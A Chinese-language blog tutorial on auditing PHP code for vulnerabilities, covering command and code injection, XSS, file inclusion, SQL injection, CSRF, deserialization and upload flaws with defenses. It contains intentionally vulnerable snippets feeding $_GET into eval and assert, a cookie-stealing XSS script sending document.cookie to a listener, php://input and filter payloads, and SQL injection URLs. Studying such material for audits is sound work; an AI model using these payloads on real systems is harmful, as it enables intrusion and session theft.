2018最新代碼審計教程筆記

大家好,作爲廣州萬方安全技術人員,由於之前的學習不是非常的系統,故此重新整理學習“代碼審計”,以下是萬方安全總結了代碼審計入門的學習筆記,希望您用心往下看。
0x01:調試函數
echo (print): 這是最簡單的輸出數據調試方法,一般用來輸出變量值,或者你不確定程序執行 到了哪個分支的情況下是用。
print_r、var_dump(var_export)、debug_zval_dump 這個主要是用來輸出變量數據值,特別是數組和對象數據,一般我們在查看接口 返回值,或者某些不太確定變量的時候,都可以使用這兩個 API。
var_dump 會額外輸出數據類型: print_r 輸出:格式很整齊,跟 var_dump 的區別是沒有類型數據,並且布爾值 的 false 和值 NULL 輸出爲空 var_export 輸出,所有的數據是可以作爲組織好的變量輸出的,都是能夠作爲 直接賦值使用: 需要注意的一點是, var_export 對於資源型的變量會輸出 NULL debug_zval_dump 輸出結果跟 var_dump 類似,唯一增加的一個值是 refcount, 就是記錄一個變量被引用了多少次,這是 php 的 copy on write (寫時複製) 的 機制的一個重要特點。
exit()退出函數
0x02:註釋
// 這是單行註釋
/ 這個是多行註釋 /
0x03: 單引號跟雙引號的區別
雙引號解析變量 單引號不解析變量
 
0x04:超全局變量
超全局變量 — 超全局變量是在全部作用域中始終可用的內置變量
在 php 中可由用戶操作的全局變量列表如下:
$GLOBALS — 引用全局作用域中可用的全部變量
$_SERVER — 服務器和執行環境信息
$_GET — HTTPGET 變量
$_POST — HTTPPOST 變量
$_FILES — HTTP 文件上傳變量
$_REQUEST — HTTPRequest 變量
$_SESSION — Session 變量
$_ENV — 環境變量
$_COOKIE — HTTPCookies
0x05:命令注入
×××:
PHP 執行系統命令可以使用以下幾個函數:
Linux Unix Windos
system、exec、passthru、 (反引號)、shell_exec、popen、proc_open、pcntl_exec<br/>語法:<br/>String system (string$command[,int&$return_var])<br/>String exec(string$command[,array&$output[,int&$return_var]])<br/>voidpassthru(stringcommand,int&return_var)<br/>String shell_exec(stringcommand) 需要echo與反引號類似<br/> 反引號
resourcepopen(string$command,string $mode)
resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env[,array$other_options]]])
voidpcntl_exec(string$path[,array$args [,array$envs]])
防禦:
當用戶提供的數據傳入此函數,使用 escapeshellarg() 或 escapeshellcmd() 來確保用戶欺騙 系統從而執行任意命令。
語法:escapeshellarg(string$arg)
可以用到 php 的安全中,會過濾掉 arg 中存在的一些特殊字符。在輸入的參數中如果包含中 文傳遞給 escapeshellarg,會被過濾掉。
escapeshellcmd(string$command)
escapeshellcmd()函數會轉義命令中的所有 shell 元字符來完成工作。這些元字符包括: #&;` , |*?~ <>^()[]{}$\。
 
0x06:命令注入函數
常見代碼執行函數 eval 、assert 、preg_replace
1.eval函數代碼執行注入
1.
<?php
2.
3.
if(isset($_GET['dyboy'])){
4.
5.
$dyboy=$_GET['dyboy']; eval("\$dyboy=$dyboy;");
6.
7.
}
8.
9.
?>
10.

2.assert 代碼執行注入
1.
<?php
2.
3.
if(isset($_GET['dyboy'])){
4.
5.
$dyboy=$_GET['dyboy']; assert("\$dyboy=$dyboy;");
6.
7.
}
8.
9.
?>
10.

3.preg_replace 正則代碼執行注入
當 pattern 中存在/e 模式修飾符,即允許執行代碼。(簡而言之:有/*e這樣的字串兒存在即可)
pattern 在一個參數
1.
<?php
2.
3.
echo$regexp= $_GET['reg'];
4.
5.
$var='<php>phpinfo()</php>';
6.
7.
preg_replace("/<php>(.*?)$regexp",'\1', $var);
8.
9.
?>
10.

Replacement() 第二個參數
<?php preg_replace("/dyboy/e",$_GET['dyboy'],"Ilove dyboy"); ?>

preg_replace()第三個參數注射
<?php preg_replace("/\s[php](.+?)[\/php]\s/ies","\1", $_GET['dyboy']); ?>

最喜歡看到的情況
 
0x07:XSS漏洞(腳本代碼執行漏洞)
反射型、存儲性、DOM型
一.反射型
1.直接輸出
<?php echo $_GET['dyboy']; ?>
2.$_SEVER變量(需要找到他們的輸出地方)
$_SERVER['PHP_SELF']

$_SERVER['HTTP_USER_AGENT']
$_SERVER['HTTP_REFERER']
$_SERVER['REQUEST_URI']
3.HTTP請求頭
User-Agent
Referer
4.利用:
Test<script>alert(1);</script>
Cookie
<script>
  var i=newImage;
  i.src="http://localhost:81/xss.php?c="%2bdocument.cookie;
</script>
Modify headers

二、存儲型
1.審計sql語句
關注用戶可輸入傳參到數據庫的內容是否過濾完整
DVWA上自行測試
2.過濾
Htmlspecialchars()輸出處轉義
三、DOM型
 
 
0x08:文件包含(本地包含&遠程包含)
include,include_once,require,require_once
在 PHP 中,有四個用於包含文件的函數,當使用這些函數包含文件時,文件中包含的 PHP 代碼會被執行。
下面對它們之間的區別進行解釋:
include():當使用該函數包含文件時,只有代碼執行到 include()函數時纔將文件包含進來, 發生錯誤時只給出一個警告,繼續向下執行。
include_once():功能和 include()相同,區別在於當重複調用同一文件時,程序只調用一次。
require():
1.require()與 include()的區別在於 require()執行如果發生錯誤,函數會輸出錯誤信 息,並終止腳本的運行。
2.使用 require()函數包含文件時,只要程序一執行,立即調用文件,而 include()只有程序執行到該函數時才調用。
require_once():它的功能與 require()相同,區別在於當重複調用同一文件時,程序只調用一次。
 
本地包含: 受 gpc 影響 截斷%00 (5.3.4>php版本纔可使用00截斷)
遠程包含: allow_url_fopen 和 allow_url_include 爲 On
http://www.dyboy.cn/url_include_test.txt
 
僞協議:(查看源碼)
1.在 allow_url_include= On 且 PHP>=5.2.0 POST型
參數:php://input
Data: <?php systemn(‘ipconfig’); ?>
-------------input的內容爲data,可以是字符串兒如上,我們直接代碼執行
 
2.無要求(本地文件內容包含轉化爲base64編碼的字串兒)GET型
參數:php://filter/read=convert.base64-encode/resource=index.php
 
 
0x09:SQL注入
什麼是 SQL 注入(SQLInjection)
SQL 注入×××指的是通過構建特殊的輸入作爲參數傳入 Web 應用程序,而這些 輸入大都是 SQL 語法裏的一些組合,通過執行 SQL 語句進而執行×××者所要的操 作,其主要原因是程序沒有細緻地過濾用戶輸入的數據,致使非法數據侵入系統。
審計SQL語句
SELECT,DELETE,UPDATE,INSERT
輸入參數
Sql語句中的寬字節“運” %23=#  %27=’  %5c=\
Example:%df\’ = %df%5c%27=縗’
http://www.test.com:81/login.php?user=%df’%20or%201=1%20limit%201,1%23&pass=
×××:
http://localhost/test.php?id=-1%20union%20select%201,user%28%29,3%20f rom%20book
防禦:
通過轉義的方式
 1.開啓 gpc
 2.mysql_real_escape_string
 3.addslashes    tips:${${phpinfo();}}
 4..關鍵字過濾
 
0x10:CSRF跨站請求僞造
×××:
查看錶單提交的地方
比如用戶資料修改,管理員的操作是否驗證
防禦:
1.驗證 HTTP Referer 字段
2.在請求地址中添加 token 並驗證
3.在 HTTP 頭中自定義屬性並驗證
 
0x11:動態函數執行與匿名函數執行
一:動態函數執行:
函數與函數之間的調用,可能會造成的漏洞。
二:匿名函數執行: 匿名函數(Anonymousfunctions) ,也叫閉包函數(closures),允許 臨時創建一個沒有指定 名稱的函數。最經常用作回調函數(callback)參數的值。 create_function 創建匿名函數
 
動態函數Example:
 
http://www.test.com:81/safe/test.php?fun=phpinfo
 
匿名函數:
http://www.test.com:81/safe/test.php?fun=1));}phpinfo();//
構造參數實現代碼執行
 
0x12: unserialize 反序列化漏洞
(算是二次漏洞利用)
1.unserialize 函數的參數可控
2.腳本中存在一個構造函數、析構函數、__wakeup()函數中 有類
3.對象中的成員變量的值
反序列化的變量會覆蓋變量中的值
Example:
 
反序列化:
http://www.test.com:81/safe/test.php?unse=O:4:%22demo%22:1:{s:4:%22test%22;s:10:%22phpinfo();%22;}
 
 
 
0x13:變量覆蓋漏洞
至少存在$$
變量覆蓋漏洞產生的原因有兩種:
1.register_globals 爲 on 的情況,PHP4 默認開啓,PHP5 以後默認關閉。
2.人爲註冊成爲全局變量
全局變量的取值與賦值
 
0x14:文件管理漏洞
PHP 的用於文件管理的函數,如果輸入變量可由用戶提交,程序中也沒有做數據驗證,可 能成爲高危漏洞
常見函數 copy、rmdir、unlink、delete、fwrite、 chmod、fgetc、fgetcsv、fgets、fgetss、file、file_get_contents 、fread、readfile、ftruncate、 file_put_contents、fputcsv、fputs fopen
增 刪 改 查
 
 
0x15:文件上傳漏洞
審計函數:move_uploaded_file
超全局變量$_FILES
×××:
1.後綴名是圖片格式
2.前綴名不能是外部提交的
3.上傳的目錄不可以是獲取外部提交的路徑 1.asp;/1213.asp.jpg
防禦:
1. 使用白名單方式檢測文件後綴
2.上傳之後按md5(‘str’+時間)生成文件名稱

  1. 上傳目錄腳本文件不可執行
  2. 注意%00 截
  3. Content-Type 驗證

有需要代碼審計服務或者交流,可以聯繫企鵝號:3273153213

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章